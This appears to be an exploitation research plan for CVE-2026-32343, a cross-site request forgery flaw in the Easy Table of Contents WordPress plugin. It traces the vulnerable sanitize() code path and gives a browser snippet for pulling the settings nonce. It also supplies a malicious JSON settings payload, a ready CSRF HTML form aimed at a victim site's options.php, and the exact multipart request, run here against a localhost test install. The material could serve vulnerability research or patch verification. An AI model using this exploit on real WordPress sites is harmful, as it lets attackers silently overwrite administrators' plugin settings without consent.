Exploitation Research Plan - CVE-2026-32343

1. Vulnerability Summary

The Easy Table of Contents plugin (<= 2.0.80) is vulnerable to Cross-Site Request Forgery (CSRF) due to missing or incorrect nonce validation in its administrative functions. Specifically, the settings import/export and general configuration update logic in ezTOC_Option::sanitize() (located in includes/class-eztoc-option.php) lacks explicit nonce verification, relying instead on the global options.php handler which may be bypassed or improperly implemented for certain actions like the "Migration Tool" or "Import/Export" feature.

2. Attack Vector Analysis

• Endpoint: wp-admin/options.php (standard Settings API endpoint) or a custom admin-post.php handler.
• Action: update (for options.php) or a specific migration action like eztoc_import (inferred).
• Vulnerable Parameter: eztoc_import_backup (file upload parameter).
• Required Authentication: Administrator (victim must be tricked into clicking a link or visiting a page).
• Preconditions: The plugin must be active. The attacker needs to craft a malicious JSON settings file.

3. Code Flow

1. The plugin registers its settings in includes/class-eztoc-option.php using register_setting( 'ez-toc-settings', 'ez-toc-settings', array( __CLASS__, 'sanitize' ) );.
2. The sanitize() function is called whenever the ez-toc-settings option is updated.
3. Inside sanitize() (lines 104-123), the code explicitly skips nonce verification:

   //phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason : Nonce is already verified in the settings page
   if ( empty( $_POST['_wp_http_referer'] ) ) {
       return $input;
   }
   

4. If _wp_http_referer is present, it checks for an uploaded file in $_FILES['eztoc_import_backup'] (line 111).
5. If a file is found, it reads the contents, JSON-decodes it, and if it contains 40 or more keys (line 124), it overwrites the $input (the settings being saved) with the imported values.
6. The vulnerability exists because an attacker can forge a request to options.php that includes the eztoc_import_backup file. If the nonce check for the ez-toc-settings group is missing or can be bypassed (e.g., via the migration tool logic), the settings will be overwritten.

4. Nonce Acquisition Strategy

While the vulnerability description suggests nonces are missing or incorrect, the sanitize() function explicitly relies on external verification. If the primary settings page is the target, we must attempt to acquire a nonce if the environment enforces it, or demonstrate the bypass if it doesn't.

1. Identify the Nonce Variable: On the Easy TOC settings page, look for the nonce generated by settings_fields( 'ez-toc-settings' ). This usually creates a hidden field named _wpnonce.
2. Page Navigation:
   • Use wp post create to ensure a page exists where the TOC might be configured.
   • Navigate to wp-admin/options-general.php?page=ez-toc.
3. Browser Evaluation:
   • The plugin might not expose the settings nonce via wp_localize_script, but it is present in the HTML form.
   • Extract it using: browser_eval("document.querySelector('input[name=\"_wpnonce\"]').value").

Note: If the vulnerability is a total lack of nonce checking on a custom handler (like a migration hook), no nonce is required.

5. Exploitation Strategy

The goal is to overwrite the plugin settings via CSRF to disable the TOC or inject malicious configurations.

Step-by-Step Exploit:

1. Prepare Payload: Create a JSON file named malicious_settings.json containing a valid Easy TOC settings array (at least 40 keys). Set a visible change, such as:

   {
     "enabled_post_types": [],
     "auto_insert_post_types": [],
     "fragment_prefix": "hacked-",
     "heading_levels": [1],
     "exclude": ".*"
   }
   

   (Note: Ensure 40+ keys are present to pass the check in class-eztoc-option.php line 124).

2. Craft CSRF Form:

   <form action="http://victims-site.com/wp-admin/options.php" method="POST" enctype="multipart/form-data">
       <input type="hidden" name="option_page" value="ez-toc-settings" />
       <input type="hidden" name="action" value="update" />
       <!-- If nonce is required, it must be leaked or bypassed -->
       <input type="hidden" name="_wpnonce" value="EXPLOIT_IF_POSSIBLE" />
       <input type="file" name="eztoc_import_backup" />
       <input type="submit" value="Submit" />
   </form>
   

3. Execute Request: Use http_request to send a multipart POST request simulating an administrator's browser session.

Request Details:

• URL: http://localhost:8080/wp-admin/options.php
• Method: POST
• Content-Type: multipart/form-data
• Body:
  • option_page: ez-toc-settings
  • action: update
  • _wp_http_referer: /wp-admin/options-general.php?page=easy-table-of-contents
  • eztoc_import_backup: (Binary content of the JSON file)

6. Test Data Setup

1. Install/Activate: Ensure Easy Table of Contents 2.0.80 is active.
2. Standard Configuration: Configure the plugin to show the TOC on posts.
3. Create Content:

   wp post create --post_type=post --post_title="TOC Test" --post_content="<h2>Heading 1</h2><p>Content</p>" --post_status=publish
   

4. Confirm TOC: Verify the TOC appears on the frontend of the new post.